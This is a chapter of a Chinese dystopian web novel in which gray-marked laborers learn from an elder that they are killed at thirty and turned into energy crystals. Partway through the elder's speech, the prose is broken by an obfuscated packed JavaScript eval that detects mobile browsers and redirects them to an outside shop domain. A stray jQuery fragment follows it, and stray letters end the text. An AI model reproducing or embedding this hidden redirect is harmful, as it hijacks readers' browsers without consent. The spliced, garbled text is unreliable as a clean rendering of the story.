晚上收工后,我蹲在住宿区后面的墙根下,抱着膝盖,脸埋进胳膊里。
有人走过来,在我旁边蹲下。
是老陈。
他没说话,从口袋里摸出一样东西,塞到我手里。
是一小块黑面包。
“老陈。”我的声音闷在胳膊里,很压抑,很难过。
“嗯。”
“我爬上了西边最高的那座垃圾山。”
“卫青也去了。我们一起看见大刘了。”
老陈没说话,只是接着听我说。
“我看见了大刘走进去之后的事。不是再分配。他进了一个透明的舱体,一道光,然后他就变成了……一层灰。”
“那层灰被装进了一个透明匣子里,被一个金纹带走了。”
我说完把头埋的很低很低,很多情绪压着我,抬不起头来。
“你和那个短发丫头一起看见的。”老陈说话了,语速很慢。
“是。”
“那她还好吗?”
“她……很生气,她说,我们去找答案。”
老陈点了点头“看好她。”老陈说,“太生气的人,会死得很快。但不生气的人,已经死了。”
我心里紧了一下,见到卫青的时候,我一定告诉她。
“老陈,那层灰到底是什么?”我问了心中的疑惑。
老陈站起来,佝偻着背,拍了拍膝盖上的灰。
“天晚了,”他说,“这里不安全,先看好你的朋友。”
然后就走了,走了几步,停下来,头也没回,说了一句:
“别死。也让她别死。”
后面几天我拼命的干完每天的任务,然后去中间区域金属回收处附近转悠,整个灰纹镇,分为东西南北,四个区域,而金属回收处设在中间区域,在这里,我能见到,卫青。
我看到卫青,丧气的,低着头,眼神暗淡的,很悲伤的样子,我很想过去把她抱住,安慰她,可我只能靠近她,并排着和她一起走向金属回收处。
我轻声告诉她,老陈的话,活着,先活着。哪怕苟着,别同别人说,谁也不行。
我知道这很难,活在黑暗绝望压抑中的人,为什么连呐喊都被塞住了嘴巴!
甚至,一想到自己还是个人,有着自由的意志,却饱受着躯体和精神都被囚禁着,遭受日复一日的折磨。
而且,没有未来,和生命自然的走向死亡不同,那是一条河,一路上经过山,经过花和树,路上有光,最后安然汇入大海。
而我们,面对着30岁的收割,那是暴力的虐杀。
他们,那我们连人都不当,我们甚至最后连腐烂的权利都没有。
我没法劝说,只是每天去看看卫青活着没有。仿佛,她已经是我生命里的一道光。
那天问老陈,知道那层灰是什么,老陈没有回复我。
我以为老陈会一直沉默。
大刘被回收后,大概过了两周左右的时间,这天收工后,我刚爬上上铺,听见下铺传来一个低沉的声音:“下来。”
老陈坐在床沿上,他的眼睛没有看我,看着对面墙壁上的裂缝。
“叫上那个短发丫头。”他说,“住宿区后面,垃圾山脚下,有一块倒下来的广告牌。明天收工后,别去吃饭,到那里找我。”
老陈转过头来,和衣而卧的时候,扫了我一眼,那一眼很平静,像是无意看到我,但眼神里传到了“你来了就知道”的确信。
第二天收工后,我和卫青绕开住宿区,从那条窄巷子穿过去,走到垃圾山脚下。
巨大的广告牌,倾倒在垃圾山上,形成了一个倾斜的遮挡区域,形成了一个监视不到的死角。
老陈窝在广告牌后面,地上铺着几张皱巴巴的纸。
他看见我们钻进来,没有说话,把那几张纸摊开。
纸上画着东西,像一种文字,但不是纹界通用的那种方正简洁的文字。笔画繁复、像藤蔓一样缠绕在一起。
“古纹字。”老陈说。他的声音很轻但清晰沉稳。
“纹历之前的上一个文明留下的文字。你们今天用的纹界通用语,是从古纹字简化来的。
但简化掉了太多东西。很多真正的知识,只藏在古纹字里。”
他指着纸上的一个符号。那个符号看起来像一团燃烧的火焰,但仔细看,火焰的中心有一个小小的、圆形的空洞。
“这个字,读作‘焠’。意思是——用高温和压力,将物质压制成另一种形态。
这个字的左半部分,是火焰。右半部分,是一个人跪着的姿态。”
卫青的手指在膝盖上蜷了一下。
我盯着那个字,眼睛喷了火。
“你们看见了。”老陈说,“看见了大刘走进那道门之后的事。但你们不知道那是什么。现在我要告诉你们真相。”
他从那几张纸下面抽出一张更旧的纸。那张纸发黄发脆,边缘已经碎了,像在垃圾堆里埋了很多年。
上面画着一个简图——一个圆柱形的容器,里面画着一个人形的轮廓,周围环绕着密密麻麻的线条和符号。
老陈的手指落在那些线条上。
“这是纹殿用的回收舱。你们在山顶看见的那个透明圆柱体。”
他说,声音没有起伏,像在念一份说明书,
“它的原理不是焚烧,不是分解,不是任何你们能想到的物理或化学过程。它的原理是——纹之力提取。”
“纹之力?”我重复这个词。
“纹历建立之前,上古文明发现了一种存在于人体内的能量。”
老陈说,
“这种能量极微量,极难提取,但一旦提取出来,可以被用于驱动纹殿最核心的设备。
是能量核心供应、提炼纹晶、运行高阶机甲,驱动机械运行。
这种能量被称为‘纹之力’。”
他停了一下,看着我和卫青。
“而拥有纹之力残留的人,就是灰纹者。”
呼吸突然粘稠沉重,我感觉我和卫青很快就逼近了真相。
“灰纹不是没有天赋。”老陈的声音压抑。
“灰纹者天生体内也含有纹之力。
但那些纹之力不是集中的,是散碎的,极不稳定,无法被激活用于战斗或生产,所以烙纹时只能显示灰色。”
他停顿了一下,浑浊的眼睛从我和卫青脸上扫过。
“金纹、蓝纹、绿纹——他们的纹之力是‘活’的。
像河流,在体内不断流动、消耗。你可以用它战斗、计算、驱动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648569|206835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机械,用完还会恢复。
正因为它是流动的,你无法把它从体内‘抽’出来固定住。
即使强行提取,它也会瞬间散逸,什么都留不下。”
他伸出枯瘦的手指,在空中画了一条弯曲的线。
“灰纹者不一样。
灰纹者的纹之力是‘死’的。它们不是河流,是碎沙。
散落在身体的每一个角落里,既不流动,也不消耗,更不会再生。
它们只是……积攒。
从出生那天起,一天一天,一年一年,像灰尘落在秤盘上。
到了三十岁,这些散碎的纹之力会达到饱和。
那时候,它们可以被提取、被凝聚、被压成一颗结晶核。”
他收回手,攥紧拳头。
“所以纹殿不回收金纹、蓝纹、绿纹——因为他们没有结晶核。
他们的能量是活的,拿不出来,也存不住。
只有灰纹者,体内积攒了三十年的死能量,才能变成那一颗小小的、发光的石头。”
他看着我。
“你们不是废物。你们是矿。是整个纹界赖以运转的、唯一的、不可替代的燃料。”
卫青的身体在发抖,她的手死死的握住了我的手,手很凉。
真相如此赤裸,直白,残酷,像一把尖刀,直直插进,心脏。
“所以—那个匣—子里是—”她抬起头,看着老陈,目光冷峻严肃,一字一字把这句话说了出来。
“是的,那不是灰。”
老陈说,
“那是纹之力的结晶核。人体内的纹之力被提取出来后,会在特定条件下凝聚成固态晶体。
极小,极亮,像一颗灰白色的、微微发光的砂粒。
你们在山顶距离太远,看不清细节,只能看见一层粉末状的东西。
但那不是粉末,是无数颗细小的、肉眼几乎看不见的结晶核。
然后再经过高压压制处理,这些所有的细小的结晶核,最终会凝结成一个集成的结晶核。”
他伸出手,用拇指和食指比了一个不到半厘米的距离。
“这是一个灰纹者的身体里,最终收集压制出的结晶核大小的。
就那一颗小小的结晶核,足够纹殿的能量核心运转三年。”
我的胃猛地翻涌了一下,痛苦的痉挛烧着我。
我终于知道了所有的真相,却是我最难承受和改变的真相。
为什么灰纹者活不过三十岁?
不是活不过,是不让活过!
为什么三十岁要“再分配”?
不是再分配,是开采!
为什么没有人回来过?
因为已经变成了一颗颗小小的结晶核,被装进透明的匣子,送进了纹殿的机器!
而那些结晶核,驱动着这个世界的一切:
金纹的机甲、蓝纹的实验室、绿纹的生产线。甚至回收垃圾的机械臂,灰纹镇上空的无人机、摄像头、大炮!
整个纹界,都贪婪着吸着灰纹者的骨血无耻的运转着,说我们废物,垃圾,用“各安其位,各司其职,天地有序,万世不移”。教化着灰纹者认命!
C
D
D
S
J